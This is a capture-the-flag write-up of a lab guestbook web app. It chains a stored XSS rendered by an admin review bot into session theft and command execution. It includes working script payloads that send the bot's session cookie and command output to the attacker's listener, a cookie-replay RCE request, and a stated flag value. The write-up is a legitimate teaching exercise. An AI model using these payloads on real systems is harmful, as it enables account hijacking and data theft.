Fragnesia - I
192.168.1.24OWASPKL{xxx}1. Challenge Overview
The challenge prompt — *"Can you command your orchestration without ever crossing the bounded rules?"* — points at driving a privileged internal action while staying inside the browser's Same-Origin Policy (the "bounded rules"). The target hosts a "Guestbook" web application. The intended path is a stored Cross-Site Scripting (XSS) flaw in the public guestbook that is rendered by an authenticated admin review bot. By making the bot execute our JavaScript in its own session, we hijack its admin context and reach a hidden command-execution panel, achieving Remote Code Execution (RCE) and reading the flag — without ever submitting a password ourselves.
2. Initial Reconnaissance
A full TCP service/version scan showed a single exposed service: Apache on port 80 serving a "Guestbook" application. The scan's HTTP cookie script also flagged that the PHPSESSID cookie is issued without the HttpOnly flag — an early indicator that session cookies are readable from JavaScript.
1nmap -sC -sV -p- -T4 192.168.1.241PORT STATE SERVICE VERSION280/tcp open http Apache httpd 2.4.58 ((Ubuntu))3| http-cookie-flags:4| /:5| PHPSESSID:6|_ httponly flag not set7|_http-title: Guestbook3. Analysis / Forensics Path
3.1 Content discovery
I enumerated the application with feroxbuster ([github.com/epi052/feroxbuster](https://github.com/epi052/feroxbuster)) using a SecLists ([github.com/danielmiessler/SecLists](https://github.com/danielmiessler/SecLists)) wordlist.
1feroxbuster -u http://192.168.1.24 \2 -w /usr/share/seclists/Discovery/Web-Content/raft-medium-files.txt \3 -x php,txt -d 1 -o ferox.txt1200 GET http://192.168.1.24/2200 GET http://192.168.1.24/index.php3200 GET http://192.168.1.24/admin.php4200 GET http://192.168.1.24/admin_login.php5200 GET http://192.168.1.24/bot.php3.2 Endpoint behaviour mapping
Probing each discovered endpoint live:
1curl -s http://192.168.1.24/index.php | sed -n '1,20p' # guestbook form: <textarea name="text">2curl -s http://192.168.1.24/admin.php # -> "Access denied."3curl -s http://192.168.1.24/admin_login.php | sed -n '1,15p' # login form (username/password)index.php — public guestbook with a text comment field, rendering all prior comments.
admin.php — returns Access denied.; gated behind an admin session.
admin_login.php — admin authentication form.
bot.php — a server-side request endpoint (takes a url parameter).
3.3 Confirming the stored XSS
The guestbook reflects submitted comments back into the page unescaped. I confirmed this manually and corroborated it with dalfox ([github.com/hahwul/dalfox](https://github.com/hahwul/dalfox)).
1# manual: submit a marker and check it is reflected as raw HTML2curl -s --data-urlencode "text=<b>xssPoC7331</b>" http://192.168.1.24/index.php >/dev/null3curl -s http://192.168.1.24/index.php | grep -n "xssPoC7331"4# -> <div><b>xssPoC7331</b></div> (raw tag, not encoded => stored XSS)56# automated confirmation7dalfox url http://192.168.1.24/index.php --data "text=FUZZ" -X POST3.4 Discovering the admin review bot
The bot.php endpoint accepts a url parameter and triggers a server-side, admin-authenticated visit. I proved an automated reviewer exists by pointing it at a listener on my Kali box.
1# Kali listener (terminal A)2python3 -m http.server 800034# trigger the reviewer (terminal B)5curl -s "http://192.168.1.24/bot.php?url=http://192.168.1.10:8000/REVIEWER_CHECK"The listener received a request originating from the target itself (192.168.1.24), confirming an automated admin process reviews submitted content. Combined with the missing HttpOnly flag (Section 2), this is the exploitable primitive: the bot renders attacker-controlled comments in its authenticated admin session.
4. Exploitation / Recovery
Vulnerability chain
Stored XSS (index.php) → admin review bot renders comment in its session → same-origin access to admin.php → RCE → flag. The bot's session is borrowed entirely within the Same-Origin Policy — satisfying the challenge's "without ever crossing the bounded rules."
4.1 Capture the admin session via stored XSS
Because PHPSESSID is not HttpOnly, a stored payload can read document.cookie from the bot's session and exfiltrate it. I used a small logging listener to record the callback source and query string.
1# Kali: logging listener2cat > cap.py <<'PY'3from http.server import BaseHTTPRequestHandler, HTTPServer4from urllib.parse import unquote5import datetime6class H(BaseHTTPRequestHandler):7 def do_GET(self):8 with open("xsslog.txt","a") as f:9 f.write(f"{datetime.datetime.now()} FROM {self.client_address[0]} PATH {unquote(self.path)}\n")10 self.send_response(200); self.end_headers(); self.wfile.write(b"OK")11 def log_message(self,*a): pass12HTTPServer(("0.0.0.0",8000),H).serve_forever()13PY14python3 cap.py &1516# Plant the stored cookie-stealing comment17curl -s --data-urlencode \18 "text=<script>new Image().src='http://192.168.1.10:8000/steal?c='+encodeURIComponent(document.cookie)</script>" \19 http://192.168.1.24/index.php >/dev/nullWhen the admin bot reviewed the guestbook, it executed the script and beaconed its session cookie back to my listener:
12026-06-01 07:54:40 FROM 192.168.1.24 PATH /steal?c=PHPSESSID=37hjdcf7obqltdkvcfek4tr97gThe callback originated from the target (192.168.1.24) and carried a valid admin PHPSESSID — proving our JavaScript ran inside the bot's authenticated session.
4.2 Replay the stolen admin session → RCE
I replayed the captured PHPSESSID against admin.php. The panel is now authenticated and exposes a command field, giving RCE as www-data — no password was ever entered.
1curl -s -b "PHPSESSID=37hjdcf7obqltdkvcfek4tr97g" \2 --data-urlencode "cmd=id" http://192.168.1.24/admin.php3# <pre>uid=33(www-data) gid=33(www-data) groups=33(www-data)</pre>4.3 (Alternative) Pure same-origin payload
The same result can be achieved without manual cookie handling — a single stored payload makes the bot POST to admin.php from its own origin and exfiltrate the output:
1curl -s --data-urlencode 'text=<script>fetch("/admin.php",{method:"POST",headers:{"Content-Type":"application/x-www-form-urlencoded"},body:"cmd="+encodeURIComponent("cat /var/www/html/first_flag.txt")}).then(r=>r.text()).then(d=>{new Image().src="http://192.168.1.10:8000/RCE?d="+encodeURIComponent(d)})</script>' \2 http://192.168.1.24/index.php >/dev/null4.4 Locate and read the flag
Using the authenticated panel, I enumerated the web root and read the flag file.
1curl -s -b "PHPSESSID=37hjdcf7obqltdkvcfek4tr97g" \2 --data-urlencode "cmd=ls -la /var/www/html; echo '---'; cat /var/www/html/first_flag.txt" \3 http://192.168.1.24/admin.php1<pre>2-rw-r--r-- 1 root root index.php admin.php admin_login.php bot.php first_flag.txt3---4OWASPKL{W3ll_h3ll0_tH3rE}5</pre>5. Flag
6. Summary of Approach & Key Takeaways
Recon (nmap) → only port 80 (Apache, "Guestbook"); PHPSESSID missing HttpOnly.
Content discovery (feroxbuster + SecLists) → index.php, admin.php, admin_login.php, bot.php.
Vulnerability discovery → stored XSS in the guestbook (dalfox); admin.php is session-gated; an admin review bot renders submitted comments (proved via an out-of-band callback from the target).
Exploitation → stored XSS executed in the bot's session and exfiltrated its admin PHPSESSID (readable due to missing HttpOnly).
RCE → replayed the stolen admin session to admin.php (uid=33(www-data)) — credential-free, fully within the Same-Origin Policy.
Flag recovery → read /var/www/html/first_flag.txt.
Key takeaways:
User content must be output-encoded (htmlspecialchars) — the guestbook stored and reflected raw HTML.
Session cookies should set HttpOnly (and Secure); without it, XSS trivially steals sessions.
Automated "review" bots inherit privileges — an XSS rendered in an admin bot's session is equivalent to admin access.
Sensitive endpoints (admin.php) must not rely on session state alone; add CSRF protection and remove arbitrary command execution.